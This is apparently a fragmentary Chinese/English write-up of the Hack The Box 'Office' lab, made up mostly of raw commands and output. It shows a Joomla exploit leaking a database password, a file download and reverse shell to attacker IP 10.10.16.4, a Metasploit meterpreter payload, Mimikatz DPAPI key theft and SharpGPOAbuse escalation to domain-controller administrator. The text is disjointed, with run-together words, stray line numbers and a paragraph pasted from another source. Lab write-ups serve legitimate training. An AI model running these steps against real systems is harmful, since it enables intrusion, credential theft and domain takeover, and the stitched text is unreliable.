[DNS] 53/tcp open domain syn-ack ttl 127 Simple DNS Plus
[WEB] 80/tcp open http syn-ack ttl 127 Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28) |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 |_http-generator: Joomla! - Open Source Content Management | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Home | http-robots.txt: 16 disallowed entries | /joomla/administrator/ /administrator/ /api/ /bin/ | /cache/ /cli/ /components/ /includes/ /installation/ |_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ 443/tcp open ssl/http syn-ack ttl 127 Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28) |_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 |_ssl-date: TLS randomness does not represent time
[RPC] 445/tcp open microsoft-ds? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
[KERBEROS] 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-02-1803:48:47Z) 464/tcp open kpasswd5? syn-ack ttl 127
[LDAP] 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) 636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) 3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC.office.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb | Issuer: commonName=office-DC-CA/domainComponent=office
[WINRM] 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0
=================================================================================================================== 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49681/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 50068/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 50083/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
$ ruby exploit.rb http://10.129.230.211 Users [474] Tony Stark (Administrator) - Administrator@holography.htb - Super Users
Site info Site name: Holography Industries Editor: tinymce Captcha: 0 Access: 1 Debug status: false
Database info DB type: mysqli DB host: localhost DB user: root DB password: H0lOgrams4reTakIng0Ver754! DB name: joomla_db DB prefix: if2tx_ DB encryption 0
Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\mane> wget10.10.16.4:2222/_RunasCs.exe -o runas.exe PS C:\mane> .\runas.exe tstark playboy69 powershell.exe -r10.10.16.4:1111 [*] Warning: The logon for user 'tstark' is limited. Use the flag combination --bypass-uac and --logon-type'8' to obtain a more privileged token.
[+] Running in session 0 with processfunctionCreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-6f9ce$\Default [+] Async process'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 7384 created in background.
0xFF 遇到的問題： Winpeas x64
如果你使用的是 winpeas 64 bit的版本，就會有問題，
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Cached Creds If > 0, credentials will be cached in the registry and accessible by SYSTEM user https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials
Unhandled Exception: System.Security.SecurityException: Requested registry access is not allowed. at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource) at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable) at winPEAS.Helpers.Registry.RegistryHelper.GetRegValue(String hive, String path, String value) at winPEAS.Checks.SystemInfo.PrintCachedCreds() at winPEAS.Helpers.CheckRunner.Run(Action action, Boolean isDebug, String description) at System.Collections.Generic.List`1.ForEach(Action`1 action) at winPEAS.Checks.Checks.RunChecks(Boolean isAllChecks, Boolean wait) at winPEAS.Checks.Checks.<>c__DisplayClass29_0.<Run>b__1() at winPEAS.Helpers.CheckRunner.Run(Action action, Boolean isDebug, String description) at winPEAS.Checks.Checks.Run(String[] args) at winPEAS.Program.Main(String[] args)
msfconsole use exploit/multi/mysql/mysql_udf_payload set payload payload/windows/x64/meterpreter/reverse_tcp
set RHOSTS 127.0.0.1 set PASSWORD H0lOgrams4reTakIng0Ver754!
set lhost tun0 run
結果提示錯誤如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
msf6 exploit(multi/mysql/mysql_udf_payload) > run
[*] Started reverse TCP handler on 192.168.31.101:4444 [*] 127.0.0.1:3306 - Checking target architecture... [*] 127.0.0.1:3306 - Checking for sys_exec()... [*] 127.0.0.1:3306 - Checking target architecture... [*] 127.0.0.1:3306 - Checking for MySQL plugin directory... [*] 127.0.0.1:3306 - Target arch (win64) and target path both okay. [*] 127.0.0.1:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/xampp/mysql/lib/plugin/JWacZTNq.dll... [-] 127.0.0.1:3306 - MySQL Error: Mysql::ServerError Can't create/write to file 'C:\xampp\mysql\lib\plugin\JWacZTNq.dll' (Errcode: 2 "No such file or directory") [-] 127.0.0.1:3306 - MySQL Error: Mysql::ServerError::CantOpenLibrary Can't open shared library 'JWacZTNq.dll' (errno: 2, The specified module could not be found. ) [*] 127.0.0.1:3306 - Checking for sys_exec()... [*] 127.0.0.1:3306 - MySQL function sys_exec() not available [*] Exploit completed, but no session was created.
meterpreter > shell Process 1320 created. Channel 1 created. Microsoft Windows [Version 10.0.20348.2322] (c) Microsoft Corporation. All rights reserved.
Privilege Name Description State ============================= ========================================= ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Mode LastWriteTime Length Name --------------------------- d-----5/9/20237:53 AM administrator d-----1/30/20248:39 AM internal d-----5/8/20233:10 PM joomla
Mode LastWriteTime Length Name --------------------------- d-----1/22/20249:58 AM Common Files d-----1/25/202412:20 PM Internet Explorer d-----1/17/20241:26 PM LibreOffice 5 d-----5/2/20235:22 PM Microsoft OneDrive d-----5/8/20211:20 AM ModifiableWindowsApps d-----4/14/20233:22 PM Npcap d-----4/12/20234:30 PM Oracle d-----2/14/20242:18 AM VMware d-----4/17/20233:35 PM Windows Defender d-----1/25/202412:20 PM Windows Defender Advanced Threat Protection d-----1/25/202412:20 PM Windows Mail d-----1/25/202412:20 PM Windows Media Player d-----5/8/20212:35 AM Windows NT d-----3/2/20227:58 PM Windows Photo Viewer d-----5/8/20211:34 AM WindowsPowerShell d-----4/14/20233:23 PM Wireshark
Privilege Name Description State ============================= ============================== ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\Program Files\LibreOffice 5\program> cmdkey.exe /list
HOWEVER, since these creds will be used on the network, we can use Mimikatz to take advantage of the MS-BKRP (BackupKey Remote Protocol) to retrieve the key for us, since the key is owned by the current user. Benjamin documented this process thoroughly on his wiki (and there’s more details at the end of the “Credential Manager and Windows Vaults” section of this post.) The code that implements this RPC call is in kull_m_rpc_bkrp.c. All we need to do is specify the master key location and supply the /rpc flag-
Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107
[backupkey] without DPAPI_SYSTEM: key : 4d1b2c18baba7442e79d33cc771bf54027ae2500e08da3ecfccf91303bd471b6 sha1: eeb787c4259e3c8b8408201ee5e54fc29fad22b2
[domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166 sha1: 85285eb368befb1670633b05ce58ca4d75c73c77
Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107
[backupkey] without DPAPI_SYSTEM: key : 2c19b1b2f1784e79edaed52a319cc5b4ad42179d4906fd084aef8e6e6dd9b8db sha1: 4961d54be229fd871debd903b3d518ea4d362c42
[domainkey] with RPC [DC] 'office.htb' will be the domain [DC] 'DC.office.htb' will be the DC server key : 3f891c81971ccacb02123a9dde170eaae918026ccc0a305b221d3582de4add84c900ae79f950132e4a70b0ef49dea6907b4f319c5dd10f60cc31cb1e3bc33024 sha1: fbab11cacdd8407e8db9604f0f8c92178bee6fd3
User Name SID ============= ============================================= office\hhogan S-1-5-21-1199398058-4196589450-691661856-1108
GROUP INFORMATION -----------------
Group Name Type SID Attributes =========================================== ================ ============================================= ================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-knowngroup S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group OFFICE\GPO Managers Group S-1-5-21-1199398058-4196589450-691661856-1117 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-knowngroup S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
PS C:\mane> .\SharpGPOAbuse.exe --AddLocalAdmin--UserAccount HHogan --GPOName"Default Domain Controllers Policy" [+] Domain = office.htb [+] Domain Controller = DC.office.htb [+] Distinguished Name = CN=Policies,CN=System,DC=office,DC=htb [+] SID Value of HHogan = S-1-5-21-1199398058-4196589450-691661856-1108 [+] GUID of "Default Domain Controllers Policy" is: {6AC1786C-016F-11D2-945F-00C04fB984F9} [+] File exists: \\office.htb\SysVol\office.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf [+] The GPO does not specify any group memberships. [+] versionNumber attribute changed successfully [+] The version number in GPT.ini was increased successfully. [+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle. [+] Done!
PS C:\mane> gpupdate /force Updating policy...
Computer Policy update has completed successfully. User Policy update has completed successfully.
PS C:\mane> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain
Members
------------------------------------------------------------------------------- Administrator HHogan The command completed successfully.
User Name SID ============= ============================================= office\hhogan S-1-5-21-1199398058-4196589450-691661856-1108
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================= =============================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-knowngroup S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group OFFICE\GPO Managers Group S-1-5-21-1199398058-4196589450-691661856-1117 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-knowngroup S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ========================================= ================================================================== ======= SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeMachineAccountPrivilege Add workstations to domain Enabled SeSecurityPrivilege Manage auditing and security log Enabled SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemProfilePrivilege Profile system performance Enabled SeSystemtimePrivilege Change the system time Enabled SeProfileSingleProcessPrivilege Profile single process Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeCreatePagefilePrivilege Create a pagefile Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled SeCreateSymbolicLinkPrivilege Create symbolic links Enabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\HHogan\Documents>
如果你是新手，使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
If you are a beginner, join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
